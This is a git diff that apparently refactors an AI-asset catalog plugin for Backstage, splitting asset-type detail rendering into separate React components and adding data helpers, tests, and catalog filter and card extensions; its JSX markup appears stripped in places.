'./AvailableModelsDialog'; + +const INLINE_MODEL_LIMIT = 5; + +interface AvailableModelsProps { + readonly models: string[]; +} + +export const AvailableModels = ({ models }: AvailableModelsProps) => { + const visibleModels = models.slice(0, INLINE_MODEL_LIMIT); + + return ( + + {visibleModels.map((model, index) => ( + + {model} + + ))} + {models.length > INLINE_MODEL_LIMIT && ( + + )} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.test.tsx similarity index 96% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.test.tsx index 6da9028ddf4..cc0790ff9d6 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.test.tsx @@ -17,7 +17,7 @@ import { renderInTestApp } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; -import { boostMessages } from '../../../translations/ref'; +import { boostMessages } from '../../../../translations/ref'; import { AvailableModelsDialog } from './AvailableModelsDialog'; const { catalog: msg } = boostMessages; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx similarity index 93% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx index 4ab95d3d723..76ae410c055 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx @@ -29,7 +29,7 @@ import { type ColumnConfig, } from '@backstage/ui'; -import { useTranslation } from '../../../hooks/useTranslation'; +import { useTranslation } from '../../../../hooks/useTranslation'; interface ModelRow { id: string; @@ -37,7 +37,11 @@ interface ModelRow { } interface AvailableModelsDialogProps { - models: string[]; + readonly models: string[]; +} + +function renderModelCell(row: ModelRow) { + return ; } function renderModelCell(row: ModelRow) { diff --git a/workspaces/boost/plugins/boost/src/boostTranslationsModuleExport.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/DetailField.tsx similarity index 60% rename from workspaces/boost/plugins/boost/src/boostTranslationsModuleExport.ts rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/DetailField.tsx index 721ce9c0d30..26ec8def22a 100644 --- a/workspaces/boost/plugins/boost/src/boostTranslationsModuleExport.ts +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/DetailField.tsx @@ -14,4 +14,19 @@ * limitations under the License. */ -export { boostTranslationsModule as default } from './plugin'; +import type { ReactNode } from 'react'; +import { Flex, Text } from '@backstage/ui'; + +interface DetailFieldProps { + readonly label: string; + readonly children: ReactNode; +} + +export const DetailField = ({ label, children }: DetailFieldProps) => ( + + + {label} + + {children} + +); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx similarity index 100% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.test.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.tsx similarity index 98% rename from workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.tsx index 32bbf0f83b9..9ed5bc28c93 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.tsx @@ -21,7 +21,7 @@ import { EntityRefLink, catalogApiRef } from '@backstage/plugin-catalog-react'; import { Flex, Text } from '@backstage/ui'; interface HandoffTargetsProps { - refs: string[]; + readonly refs: string[]; } export const HandoffTargets = ({ refs }: HandoffTargetsProps) => { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/McpServerDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/McpServerDetails.tsx new file mode 100644 index 00000000000..30bd600d8c4 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/McpServerDetails.tsx @@ -0,0 +1,89 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { CodeSnippet } from '@backstage/core-components'; +import { Flex, Link, Text } from '@backstage/ui'; +import { Fragment } from 'react'; + +import { useTranslation } from '../../../../hooks/useTranslation'; +import { DetailField } from './DetailField'; +import type { McpServerDetailsData } from './assetDetailsData'; + +interface McpServerDetailsProps { + readonly details: McpServerDetailsData; +} + +const RemoteLinks = ({ remotes }: Pick) => { + const renderRemote = (remote: (typeof remotes)[number]) => { + const label = remote.type ? `${remote.type}: ${remote.url}` : remote.url; + + try { + const url = new URL(remote.url); + if (url.protocol !== 'http:' && url.protocol !== 'https:') { + return {label}; + } + } catch { + return {label}; + } + + return ( + + {label} + + ); + }; + + return ( + + {remotes.map(remote => ( + + {renderRemote(remote)} + + ))} + + ); +}; + +export const McpServerDetails = ({ details }: McpServerDetailsProps) => { + const { t } = useTranslation(); + + return ( + <> + {details.remotes.length > 0 && ( + + + + )} + {details.definition && ( + + + + )} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/ModelServerDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/ModelServerDetails.tsx new file mode 100644 index 00000000000..c6d80192808 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/ModelServerDetails.tsx @@ -0,0 +1,59 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { Text } from '@backstage/ui'; + +import { useTranslation } from '../../../../hooks/useTranslation'; +import { AvailableModels } from './AvailableModels'; +import { DetailField } from './DetailField'; +import type { ModelServerDetailsData } from './assetDetailsData'; + +interface ModelServerDetailsProps { + readonly details: ModelServerDetailsData; +} + +export const ModelServerDetails = ({ details }: ModelServerDetailsProps) => { + const { t } = useTranslation(); + + return ( + <> + {details.serverType && ( + + {details.serverType} + + )} + {details.requiresApiKey !== undefined && ( + + + {details.requiresApiKey + ? t('catalog.card.yes') + : t('catalog.card.no')} + + + )} + {details.defaultModel && ( + + {details.defaultModel} + + )} + {details.modelsAvailable.length > 0 && ( + + + + )} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/index.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/RuleDetails.tsx similarity index 51% rename from workspaces/boost/plugins/boost/src/components/catalog/index.ts rename to workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/RuleDetails.tsx index cdf9219d495..a87571cd98f 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/index.ts +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/RuleDetails.tsx @@ -14,6 +14,22 @@ * limitations under the License. */ -export { AiCatalogPage } from './AiCatalogPage'; -export { AiAssetCard } from './AiAssetCard'; -export type { AiAssetCardProps } from './AiAssetCard'; +import { Text } from '@backstage/ui'; + +import { useTranslation } from '../../../../hooks/useTranslation'; +import { DetailField } from './DetailField'; +import type { RuleDetailsData } from './assetDetailsData'; + +interface RuleDetailsProps { + readonly details: RuleDetailsData; +} + +export const RuleDetails = ({ details }: RuleDetailsProps) => { + const { t } = useTranslation(); + + return details.category ? ( + + {details.category} + + ) : null; +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/SkillDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/SkillDetails.tsx new file mode 100644 index 00000000000..b4b947e5c31 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/SkillDetails.tsx @@ -0,0 +1,71 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { EntityRefLinks } from '@backstage/plugin-catalog-react'; +import { Tag, TagGroup } from '@backstage/ui'; + +import { useTranslation } from '../../../../hooks/useTranslation'; +import { DetailField } from './DetailField'; +import type { SkillDetailsData } from './assetDetailsData'; + +interface SkillDetailsProps { + readonly details: SkillDetailsData; +} + +const ValueTags = ({ + label, + values, +}: { + readonly label: string; + readonly values: string[]; +}) => ( + ({ id: value, label: value }))} + aria-label={label} + > + {item => {item.label}} + +); + +export const SkillDetails = ({ details }: SkillDetailsProps) => { + const { t } = useTranslation(); + + return ( + <> + {details.disciplines.length > 0 && ( + + + + )} + {details.categories.length > 0 && ( + + + + )} + {details.agents.length > 0 && ( + + + + )} + + ); +}; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts new file mode 100644 index 00000000000..77a607e3997 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts @@ -0,0 +1,107 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { getAssetDetailsData, hasAssetDetails } from './assetDetailsData'; + +const baseEntity: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { name: 'test-asset' }, + spec: { type: 'agent' }, +}; + +describe('getAssetDetailsData', () => { + it('keeps fields isolated to the detected asset type', () => { + const data = getAssetDetailsData({ + ...baseEntity, + spec: { + type: 'skill', + model: 'should-not-render', + disciplines: ['development'], + }, + }); + + expect(data.typeDetails).toEqual({ + type: 'skill', + disciplines: ['development'], + categories: [], + agents: [], + }); + }); + + it('preserves false boolean values and model server data', () => { + const data = getAssetDetailsData({ + ...baseEntity, + spec: { + type: 'ai-model-server', + serverType: 'openapi-v1', + requiresApiKey: false, + models: { + default: 'model-a', + available: ['model-a', 'model-a', 'model-b'], + }, + }, + }); + + expect(data.typeDetails).toEqual({ + type: 'ai-model-server', + serverType: 'openapi-v1', + defaultModel: 'model-a', + requiresApiKey: false, + modelsAvailable: ['model-a', 'model-b'], + }); + }); + + it('extracts MCP remotes and agent handoffs', () => { + expect( + getAssetDetailsData({ + ...baseEntity, + spec: { + type: 'mcp-server', + remotes: [ + { url: 'https://mcp.example.com', type: 'streamable-http' }, + ], + definition: 'openapi: 3.0.0', + }, + }).typeDetails, + ).toEqual({ + type: 'mcp-server', + remotes: [{ url: 'https://mcp.example.com', type: 'streamable-http' }], + definition: 'openapi: 3.0.0', + }); + + expect( + getAssetDetailsData({ + ...baseEntity, + spec: { + type: 'agent', + handoffs: [ + 'airesource:default/support', + 'airesource:default/support', + ], + }, + }).typeDetails, + ).toMatchObject({ + type: 'agent', + handoffRefs: ['airesource:default/support'], + }); + }); + + it('reports whether a card has displayable content', () => { + expect(hasAssetDetails(getAssetDetailsData(baseEntity))).toBe(false); + expect( + hasAssetDetails( + getAssetDetailsData({ + ...baseEntity, + metadata: { ...baseEntity.metadata, description: 'Description' }, + }), + ), + ).toBe(true); + }); +}); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts new file mode 100644 index 00000000000..d0f91a0544b --- /dev/null +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts @@ -0,0 +1,186 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; + +import { + getAgentModel, + getDistinctSpecField, + getHandoffRefs, + getModelsAvailable, + getSpecField, + getSpecRemotes, + getStringArraySpecField, + type EntityRemote, +} from '../../../../utils/entityFields'; + +function getBooleanSpecField( + entity: Entity, + field: string, +): boolean | undefined { + const spec = entity.spec as Record | undefined; + const value = spec?.[field]; + return typeof value === 'boolean' ? value : undefined; +} + +function getModelField(entity: Entity, field: string): string | undefined { + const spec = entity.spec as Record | undefined; + const models = spec?.models as Record | undefined; + const value = models?.[field]; + return typeof value === 'string' ? value : undefined; +} + +export interface AgentDetailsData { + readonly type: 'agent'; + readonly model?: string; + readonly modelsAvailable: string[]; + readonly handoffDescription?: string; + readonly handoffRefs: string[]; + readonly enableRAG?: boolean; + readonly tools: string[]; +} + +export interface ModelServerDetailsData { + readonly type: 'ai-model-server'; + readonly serverType?: string; + readonly defaultModel?: string; + readonly requiresApiKey?: boolean; + readonly modelsAvailable: string[]; +} + +export interface McpServerDetailsData { + readonly type: 'mcp-server'; + readonly remotes: EntityRemote[]; + readonly definition?: string; +} + +export interface SkillDetailsData { + readonly type: 'skill'; + readonly disciplines: string[]; + readonly categories: string[]; + readonly agents: string[]; +} + +export interface RuleDetailsData { + readonly type: 'rule'; + readonly category?: string; +} + +export type AssetTypeDetailsData = + | AgentDetailsData + | ModelServerDetailsData + | McpServerDetailsData + | SkillDetailsData + | RuleDetailsData; + +export interface AssetDetailsData { + readonly description?: string; + readonly rationale?: string; + readonly version?: string; + readonly typeDetails?: AssetTypeDetailsData; +} + +export function getAssetDetailsData(entity: Entity): AssetDetailsData { + const type = getSpecField(entity, 'type')?.toLowerCase(); + let typeDetails: AssetTypeDetailsData | undefined; + + switch (type) { + case 'agent': + typeDetails = { + type, + model: getAgentModel(entity), + modelsAvailable: getModelsAvailable(entity), + handoffDescription: getDistinctSpecField(entity, 'handoffDescription'), + handoffRefs: getHandoffRefs(entity), + enableRAG: getBooleanSpecField(entity, 'enableRAG'), + tools: getStringArraySpecField(entity, 'tools'), + }; + break; + case 'ai-model-server': + typeDetails = { + type, + serverType: getSpecField(entity, 'serverType'), + defaultModel: getModelField(entity, 'default'), + requiresApiKey: getBooleanSpecField(entity, 'requiresApiKey'), + modelsAvailable: getModelsAvailable(entity), + }; + break; + case 'mcp-server': + typeDetails = { + type, + remotes: getSpecRemotes(entity), + definition: getDistinctSpecField(entity, 'definition'), + }; + break; + case 'skill': + typeDetails = { + type, + disciplines: getStringArraySpecField(entity, 'disciplines'), + categories: getStringArraySpecField(entity, 'categories'), + agents: getStringArraySpecField(entity, 'agents'), + }; + break; + case 'rule': + typeDetails = { type, category: getSpecField(entity, 'category') }; + break; + default: + break; + } + + return { + description: entity.metadata.description?.trim() || undefined, + rationale: getDistinctSpecField(entity, 'rationale'), + version: entity.metadata.annotations?.['rhdh.io/ai-asset-version'], + typeDetails, + }; +} + +export function hasAssetDetails(data: AssetDetailsData): boolean { + const details = data.typeDetails; + if (data.description || data.rationale || data.version) return true; + if (!details) return false; + + switch (details.type) { + case 'agent': + return Boolean( + details.model || + details.modelsAvailable.length || + details.handoffDescription || + details.handoffRefs.length || + details.enableRAG !== undefined || + details.tools.length, + ); + case 'ai-model-server': + return Boolean( + details.serverType || + details.defaultModel || + details.requiresApiKey !== undefined || + details.modelsAvailable.length, + ); + case 'mcp-server': + return Boolean(details.remotes.length || details.definition); + case 'skill': + return Boolean( + details.disciplines.length || + details.categories.length || + details.agents.length, + ); + case 'rule': + return Boolean(details.category); + default: + return false; + } +} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx deleted file mode 100644 index beb40bfc846..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx +++ /dev/null @@ -1,380 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import type { Entity } from '@backstage/catalog-model'; -import { CodeSnippet } from '@backstage/core-components'; -import { EntityRefLinks } from '@backstage/plugin-catalog-react'; -import { Flex, Link, Text, Tag, TagGroup } from '@backstage/ui'; -import { Fragment, type ReactNode } from 'react'; - -import { useTranslation } from '../../../hooks/useTranslation'; -import { - getAgentModel, - getDistinctSpecField, - getModelsAvailable, - getSpecField, - getSpecRemotes, - getStringArraySpecField, -} from '../../../utils/entityHelpers'; -import { AvailableModelsDialog } from './AvailableModelsDialog'; -import { HandoffTargets } from './HandoffTargets'; - -const INLINE_MODEL_LIMIT = 5; - -function getBooleanSpecField( - entity: Entity, - field: string, -): boolean | undefined { - const spec = entity.spec as Record | undefined; - const value = spec?.[field]; - return typeof value === 'boolean' ? value : undefined; -} - -function getModelField(entity: Entity, field: string): string | undefined { - const spec = entity.spec as Record | undefined; - const models = spec?.models as Record | undefined; - const value = models?.[field]; - return typeof value === 'string' ? value : undefined; -} - -export interface AssetTypeDetailsData { - assetType: string | undefined; - model?: string; - serverType?: string; - defaultModel?: string; - requiresApiKey?: boolean; - modelsAvailable: string[]; - handoffDescription?: string; - handoffRefs: string[]; - enableRAG?: boolean; - tools: string[]; - skillDisciplines: string[]; - skillCategories: string[]; - skillAgents: string[]; - ruleCategory?: string; - remotes: Array<{ url: string; type?: string }>; - definition?: string; -} - -interface DetailFieldProps { - readonly label: string; - readonly children: ReactNode; -} - -interface ValueTagsProps { - readonly label: string; - readonly values: string[]; -} - -interface AvailableModelsProps { - readonly models: string[]; -} - -interface RemoteLinksProps { - readonly remotes: AssetTypeDetailsData['remotes']; -} - -interface AssetTypeDetailsProps { - readonly details: AssetTypeDetailsData; -} - -export function getAssetTypeDetails( - entity: Entity, - handoffRefs: string[], -): AssetTypeDetailsData { - const assetType = getSpecField(entity, 'type')?.toLowerCase(); - const isAgent = assetType === 'agent'; - const isMcpServer = assetType === 'mcp-server'; - const isModelServer = assetType === 'ai-model-server'; - const isRule = assetType === 'rule'; - const isSkill = assetType === 'skill'; - - return { - assetType, - model: isAgent ? getAgentModel(entity) : undefined, - serverType: isModelServer ? getSpecField(entity, 'serverType') : undefined, - defaultModel: isModelServer ? getModelField(entity, 'default') : undefined, - requiresApiKey: isModelServer - ? getBooleanSpecField(entity, 'requiresApiKey') - : undefined, - modelsAvailable: isAgent || isModelServer ? getModelsAvailable(entity) : [], - handoffDescription: isAgent - ? getDistinctSpecField(entity, 'handoffDescription') - : undefined, - handoffRefs: isAgent ? handoffRefs : [], - enableRAG: isAgent ? getBooleanSpecField(entity, 'enableRAG') : undefined, - tools: isAgent ? getStringArraySpecField(entity, 'tools') : [], - skillDisciplines: isSkill - ? getStringArraySpecField(entity, 'disciplines') - : [], - skillCategories: isSkill - ? getStringArraySpecField(entity, 'categories') - : [], - skillAgents: isSkill ? getStringArraySpecField(entity, 'agents') : [], - ruleCategory: isRule ? getSpecField(entity, 'category') : undefined, - remotes: isMcpServer ? getSpecRemotes(entity) : [], - definition: isMcpServer - ? getDistinctSpecField(entity, 'definition') - : undefined, - }; -} - -export function hasAssetTypeDetails(details: AssetTypeDetailsData): boolean { - return Boolean( - details.model || - details.serverType || - details.defaultModel || - details.requiresApiKey !== undefined || - details.modelsAvailable.length > 0 || - details.handoffDescription || - details.handoffRefs.length > 0 || - details.enableRAG !== undefined || - details.tools.length > 0 || - details.skillDisciplines.length > 0 || - details.skillCategories.length > 0 || - details.skillAgents.length > 0 || - details.ruleCategory || - details.remotes.length > 0 || - details.definition, - ); -} - -export function DetailField({ label, children }: DetailFieldProps) { - return ( - - - {label} - - {children} - - ); -} - -function ValueTags({ label, values }: ValueTagsProps) { - const items = values.map(value => ({ id: value, label: value })); - - return ( - - {item => {item.label}} - - ); -} - -function AvailableModels({ models }: AvailableModelsProps) { - const visibleModels = models.slice(0, INLINE_MODEL_LIMIT); - - return ( - - {visibleModels.map((model, index) => ( - - {model} - - ))} - {models.length > INLINE_MODEL_LIMIT && ( - - )} - - ); -} - -function RemoteLinks({ remotes }: RemoteLinksProps) { - const renderRemote = (remote: (typeof remotes)[number]) => { - const label = remote.type ? `${remote.type}: ${remote.url}` : remote.url; - - try { - const url = new URL(remote.url); - if (url.protocol !== 'http:' && url.protocol !== 'https:') { - return {label}; - } - } catch { - return {label}; - } - - return ( - - {label} - - ); - }; - - return ( - - {remotes.map(remote => ( - - {renderRemote(remote)} - - ))} - - ); -} - -function SkillDetails({ details }: AssetTypeDetailsProps) { - const { t } = useTranslation(); - - return ( - <> - {details.skillDisciplines.length > 0 && ( - - - - )} - {details.skillCategories.length > 0 && ( - - - - )} - {details.skillAgents.length > 0 && ( - - - - )} - - ); -} - -function AgentDetails({ details }: AssetTypeDetailsProps) { - const { t } = useTranslation(); - - return ( - <> - {details.model && ( - - {details.model} - - )} - {details.modelsAvailable.length > 0 && ( - - - - )} - {details.tools.length > 0 && ( - - - - )} - {details.enableRAG !== undefined && ( - - - {details.enableRAG ? t('catalog.card.yes') : t('catalog.card.no')} - - - )} - {details.handoffDescription && ( - - {details.handoffDescription} - - )} - {details.handoffRefs.length > 0 && ( - - - - )} - - ); -} - -function ModelServerDetails({ details }: AssetTypeDetailsProps) { - const { t } = useTranslation(); - - return ( - <> - {details.serverType && ( - - {details.serverType} - - )} - {details.requiresApiKey !== undefined && ( - - - {details.requiresApiKey - ? t('catalog.card.yes') - : t('catalog.card.no')} - - - )} - {details.defaultModel && ( - - {details.defaultModel} - - )} - {details.modelsAvailable.length > 0 && ( - - - - )} - - ); -} - -function McpServerDetails({ details }: AssetTypeDetailsProps) { - const { t } = useTranslation(); - - return ( - <> - {details.remotes.length > 0 && ( - - - - )} - {details.definition && ( - - - - )} - - ); -} - -export function AssetTypeDetails({ details }: AssetTypeDetailsProps) { - const { t } = useTranslation(); - - switch (details.assetType) { - case 'skill': - return ; - case 'agent': - return ; - case 'rule': - return details.ruleCategory ? ( - - {details.ruleCategory} - - ) : null; - case 'ai-model-server': - return ; - case 'mcp-server': - return ; - default: - return null; - } -} diff --git a/workspaces/boost/plugins/boost/src/extensions/aiCatalogFilters.ts b/workspaces/boost/plugins/boost/src/extensions/aiCatalogFilters.ts new file mode 100644 index 00000000000..80b9c612ba0 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/extensions/aiCatalogFilters.ts @@ -0,0 +1,50 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { AiCatalogFilterBlueprint } from '../blueprints/AiCatalogFilterBlueprint'; +import { + categoryFilterDefinition, + ownerFilterDefinition, + providerFilterDefinition, + tagsFilterDefinition, +} from '../filters/builtInFilterDefinitions'; + +export const categoryFilter = AiCatalogFilterBlueprint.make({ + name: 'category', + params: categoryFilterDefinition, +}); + +export const providerFilter = AiCatalogFilterBlueprint.make({ + name: 'provider', + params: providerFilterDefinition, +}); + +export const ownerFilter = AiCatalogFilterBlueprint.make({ + name: 'owner', + params: ownerFilterDefinition, +}); + +export const tagsFilter = AiCatalogFilterBlueprint.make({ + name: 'tags', + params: tagsFilterDefinition, +}); + +export const aiCatalogFilterExtensions = [ + categoryFilter, + providerFilter, + ownerFilter, + tagsFilter, +]; diff --git a/workspaces/boost/plugins/boost/src/extensions/aiCatalogPage.tsx b/workspaces/boost/plugins/boost/src/extensions/aiCatalogPage.tsx new file mode 100644 index 00000000000..73e11f6cac1 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/extensions/aiCatalogPage.tsx @@ -0,0 +1,55 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { + createExtensionInput, + PageBlueprint, +} from '@backstage/frontend-plugin-api'; + +import { filterDefinitionDataRef } from '../blueprints/AiCatalogFilterBlueprint'; +import { rootRouteRef } from '../routes'; + +export const aiCatalogPage = PageBlueprint.makeWithOverrides({ + name: 'ai-catalog', + inputs: { + filters: createExtensionInput([filterDefinitionDataRef]), + }, + factory(originalFactory, { inputs }) { + const filterDefs = inputs.filters + .map(f => f.get(filterDefinitionDataRef)) + .sort((a, b) => a.priority - b.priority); + + const registeredParams = new Set(); + for (const def of filterDefs) { + if (registeredParams.has(def.urlParam)) { + throw new Error( + `Duplicate filter urlParam '${def.urlParam}'. Each filter must use a unique URL parameter.`, + ); + } + registeredParams.add(def.urlParam); + } + + return originalFactory({ + path: '/ai-catalog', + routeRef: rootRouteRef, + title: 'AI Catalog', + loader: () => + import('../pages/AiCatalogPage').then(m => ( + + )), + }); + }, +}); diff --git a/workspaces/boost/plugins/boost/src/extensions/entityCards.tsx b/workspaces/boost/plugins/boost/src/extensions/entityCards.tsx new file mode 100644 index 00000000000..c1f7f4fc0a1 --- /dev/null +++ b/workspaces/boost/plugins/boost/src/extensions/entityCards.tsx @@ -0,0 +1,63 @@ +/* + * Copyright Red Hat, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import type { Entity } from '@backstage/catalog-model'; +import { EntityCardBlueprint } from '@backstage/plugin-catalog-react/alpha'; +import { isAiAsset } from '@red-hat-developer-hub/backstage-plugin-boost-common'; + +import { getSpecField } from '../utils/entityFields'; + +const isAgentAsset = (entity: Entity) => + isAiAsset(entity) && getSpecField(entity, 'type')?.toLowerCase() === 'agent'; + +export const assetDetailsCard = EntityCardBlueprint.make({ + name: 'ai-asset-details', + params: { + filter: isAiAsset, + loader: () => + import('../components/catalog/entity/AssetDetails/AssetDetailsCard').then( + m => , + ), + }, +}); + +export const agentInstructionsCard = EntityCardBlueprint.make({ + name: 'agent-instructions', + params: { + filter: isAgentAsset, + loader: () => + import('../components/catalog/entity/AgentInstructionsCard').then(m => ( + + )), + }, +}); + +export const usageCard = EntityCardBlueprint.make({ + name: 'usage', + params: { + filter: isAiAsset, + loader: () => + import('../components/catalog/entity/UsageCard').then(m => ( + + )), + }, +}); + +export const entityCardExtensions = [ + assetDetailsCard, + agentInstructionsCard, + usageCard, +]; diff --git a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts index 21634c2d554..397e3756b63 100644 --- a/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts +++ b/workspaces/boost/plugins/boost/src/filters/builtInFilterDefinitions.ts @@ -18,7 +18,7 @@ import type { Entity } from '@backstage/catalog-model'; import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; import { getCategoryMeta } from '../utils/categoryMeta'; -import { getProvider, getSpecField } from '../utils/entityHelpers'; +import { getProvider, getSpecField } from '../utils/entityFields'; function uniqueSorted( items: (string | undefined)[], diff --git a/workspaces/boost/plugins/boost/src/hooks/useAiAssets.ts b/workspaces/boost/plugins/boost/src/hooks/useAiAssets.ts index 